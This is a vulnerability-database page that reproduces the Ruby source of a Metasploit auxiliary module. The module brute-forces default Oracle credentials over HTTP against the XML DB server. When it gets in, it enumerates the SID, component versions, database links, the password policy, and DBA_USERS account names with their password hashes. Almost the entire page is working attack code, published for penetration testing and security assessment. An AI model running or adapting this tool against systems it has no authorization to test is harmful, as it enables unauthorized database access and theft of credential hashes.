Lucene search
+L

Oracle XML DB SID Discovery via Brute Force

🗓️ 11 Mar 2010 22:55:37Reported by nebulusType 
metasploit
 metasploit
🔗 www.rapid7.com👁 12 Views

Oracle XML DB SID Discovery via Brute Force. Attempts to retrieve the sid from the Oracle XML DB httpd server using a default password list

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'        => 'Oracle XML DB SID Discovery via Brute Force',
      'Description' => %q{
          This module attempts to retrieve the sid from the Oracle XML DB httpd server,
          utilizing Pete Finnigan's default oracle password list.
      },
      'References'  =>
        [
          [ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],
          [ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv'],
        ],
      'Author'      => [ 'nebulus' ],
      'License'     => MSF_LICENSE
    )

    register_options(
        [
          OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),
          Opt::RPORT(8080),
        ])
  end

  def run_host(ip)
    begin

    res = send_request_raw({
      'uri'     => '/oradb/PUBLIC/GLOBAL_NAME',
      'version' => '1.0',
      'method'  => 'GET'
    }, 5)
    return if not res

    if(res.code == 200)
      vprint_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code}) is not password protected.")
      return
    elsif(res.code == 403 || res.code == 401)
      print_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code})")
    end

    list = datastore['CSVFILE']
    users = []

    fd = CSV.foreach(list) do |brute|

      dbuser = brute[2].downcase
      dbpass = brute[3].downcase
      user_pass = "#{dbuser}:#{dbpass}"

      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/GLOBAL_NAME',
        'version' => '1.0',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, 10)

      if( not res )
        vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
        next
      end
      if (res.code == 200)
        if (not res.body.length > 0)
        # sometimes weird bug where body doesn't have value yet
          res.body = res.bufq
        end
        sid = res.body.scan(/<GLOBAL_NAME>(\S+)<\/GLOBAL_NAME>/)[0]
        report_note(
          :host => ip,
          :proto	=> 'tcp',
          :port => datastore['RPORT'],
          :type => 'SERVICE_NAME',
          :data => sid,
          :update => :unique_data
        )
        print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}")
        users.push(user_pass)
      else
        vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
      end
    end #fd.each

    good = false
    users.each do |user_pass|
      (u,p) = user_pass.split(':')

      # get versions
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/PRODUCT_COMPONENT_VERSION',
        'version' => '1.1',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if(res)
        if(res.code == 200)
          if (not res.body.length > 0)
          # sometimes weird bug where body doesn't have value yet
            res.body = res.bufq
          end

          doc = REXML::Document.new(res.body)

          print_good("Version Information ==> as #{u}")
          doc.elements.each('PRODUCT_COMPONENT_VERSION/ROW') do |e|
            p = e.elements['PRODUCT'].get_text
            v = e.elements['VERSION'].get_text
            s = e.elements['STATUS'].get_text
            report_note(
              :host => datastore['RHOST'],
              :sname => 'xdb',
              :proto => 'tcp',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Component Version: #{p}#{v}",
              :update => :unique_data
            )
            print_good("\t#{p}\t\t#{v}\t(#{s})")

          end
        end
      end

      # More version information
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/ALL_REGISTRY_BANNERS',
        'version' => '1.1',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if(res)
        if(res.code == 200)
          if (not res.body.length > 0)
          # sometimes weird bug where body doesn't have value yet
            res.body = res.bufq
          end

          doc = REXML::Document.new(res.body)

          doc.elements.each('ALL_REGISTRY_BANNERS/ROW') do |e|
            next if e.elements['BANNER'] == nil
            b = e.elements['BANNER'].get_text
            report_note(
              :host => datastore['RHOST'],
              :proto => 'tcp',
              :sname => 'xdb',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Component Version: #{b}",
              :update => :unique_data
            )
            print_good("\t#{b}")
          end
        end
      end

      # database links
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/ALL_DB_LINKS',
        'version' => '1.1',
        'method'  => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if(res)
        if(res.code == 200)
          if (not res.body.length > 0)
          # sometimes weird bug where body doesn't have value yet
            res.body = res.bufq
          end

          doc = REXML::Document.new(res.body)

          print_good("Database Link Information ==> as #{u}")
          doc.elements.each('ALL_DB_LINKS/ROW') do |e|
            next if(e.elements['HOST'] == nil or e.elements['USERNAME'] == nil or e.elements['DB_LINK'] == nil)
            h = e.elements['HOST'].get_text
            d = e.elements['DB_LINK'].get_text
            us = e.elements['USERNAME'].get_text

            sid = h.to_s.scan(/\(SID\s\=\s(\S+)\)\)\)/)[0]
            if(h.to_s.match(/^\(DESCRIPTION/) )
              h = h.to_s.scan(/\(HOST\s\=\s(\S+)\)\(/)[0]
            end

            if(sid and sid != "")
              print_good("\tLink: #{d}\t#{us}\@#{h[0]}/#{sid[0]}")
              report_note(
                :host => h[0],
                :proto => 'tcp',
                :port => datastore['RPORT'],
                :sname => 'xdb',
                :type => 'oracle_sid',
                :data => sid,
                :update => :unique_data
              )
            else
              print_good("\tLink: #{d}\t#{us}\@#{h}")
            end
          end
        end
      end


      # get users
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/DBA_USERS',
        'version' => '1.1',
        'method'  => 'GET',
        'read_max_data' => (1024*1024*10),
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if res and res.code == 200
        if (not res.body.length > 0)
        # sometimes weird bug where body doesn't have value yet
          res.body = res.bufq
        end

        doc = REXML::Document.new(res.body)
        print_good("Username/Hashes on #{ip}:#{datastore['RPORT']} ==> as #{u}")

        doc.elements.each('DBA_USERS/ROW') do |user|

          us = user.elements['USERNAME'].get_text
          h = user.elements['PASSWORD'].get_text
          as = user.elements['ACCOUNT_STATUS'].get_text
          print_good("\t#{us}:#{h}:#{as}")
          good = true
          if(as.to_s == "OPEN")
            report_note(
              :host => datastore['RHOST'],
              :proto => 'tcp',
              :sname => 'xdb',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Active Account #{u}:#{h}:#{as}",
              :update => :unique_data
            )
          else
            report_note(
              :host => datastore['RHOST'],
              :proto => 'tcp',
              :sname => 'xdb',
              :port => datastore['RPORT'],
              :type => 'ORA_ENUM',
              :data => "Disabled Account #{u}:#{h}:#{as}",
              :update => :unique_data
            )
          end
        end
      end

      # get password information
      res = send_request_raw({
        'uri'     => '/oradb/PUBLIC/USER_PASSWORD_LIMITS',
        'version' => '1.1',
        'method'  => 'GET',
        'read_max_data' => (1024*1024*10),
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
        }
      }, -1)

      if res and res.code == 200
        if (not res.body.length > 0)
        # sometimes weird bug where body doesn't have value yet
          res.body = res.bufq
        end

        doc = REXML::Document.new(res.body)

        print_good("Password Policy ==> as #{u}")
        fla=plit=pgt=prt=prm=plot=''
        doc.elements.each('USER_PASSWORD_LIMITS/ROW') do |e|
          next if e.elements['RESOURCE_NAME'] == nil

          case
            when(e.elements['RESOURCE_NAME'].get_text == 'FAILED_LOGIN_ATTEMPTS')
              fla = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LIFE_TIME')
              plit = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_TIME')
              prt = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_MAX')
              prm = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LOCK_TIME')
              plot = e.elements['LIMIT'].get_text
            when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_GRACE_TIME')
              pgt = e.elements['LIMIT'].get_text
          end
        end

        print_good(
          "\tFailed Login Attempts: #{fla}\n\t" +
          "Password Life Time: #{plit}\n\t" +
          "Password Reuse Time: #{prt}\n\t" +
          "Password Reuse Max: #{prm}\n\t" +
          "Password Lock Time: #{plot}\n\t" +
          "Password Grace Time: #{pgt}"
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Password Maximum Reuse Time: #{prm}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Password Reuse Time: #{prt}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Password Life Time: #{plit}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Account Fail Logins Permitted: #{fla}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Account Lockout Time: #{plot}",
          :update => :unique_data
        )
        report_note(
          :host => datastore['RHOST'],
          :proto => 'tcp',
          :sname => 'xdb',
          :port => datastore['RPORT'],
          :type => 'ORA_ENUM',
          :data => "Account Password Grace Time: #{pgt}",
          :update => :unique_data
        )
      end

      break if good
    end # users.each
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jul 2017 13:26Current
0.8Low risk
Vulners AI Score0.8
12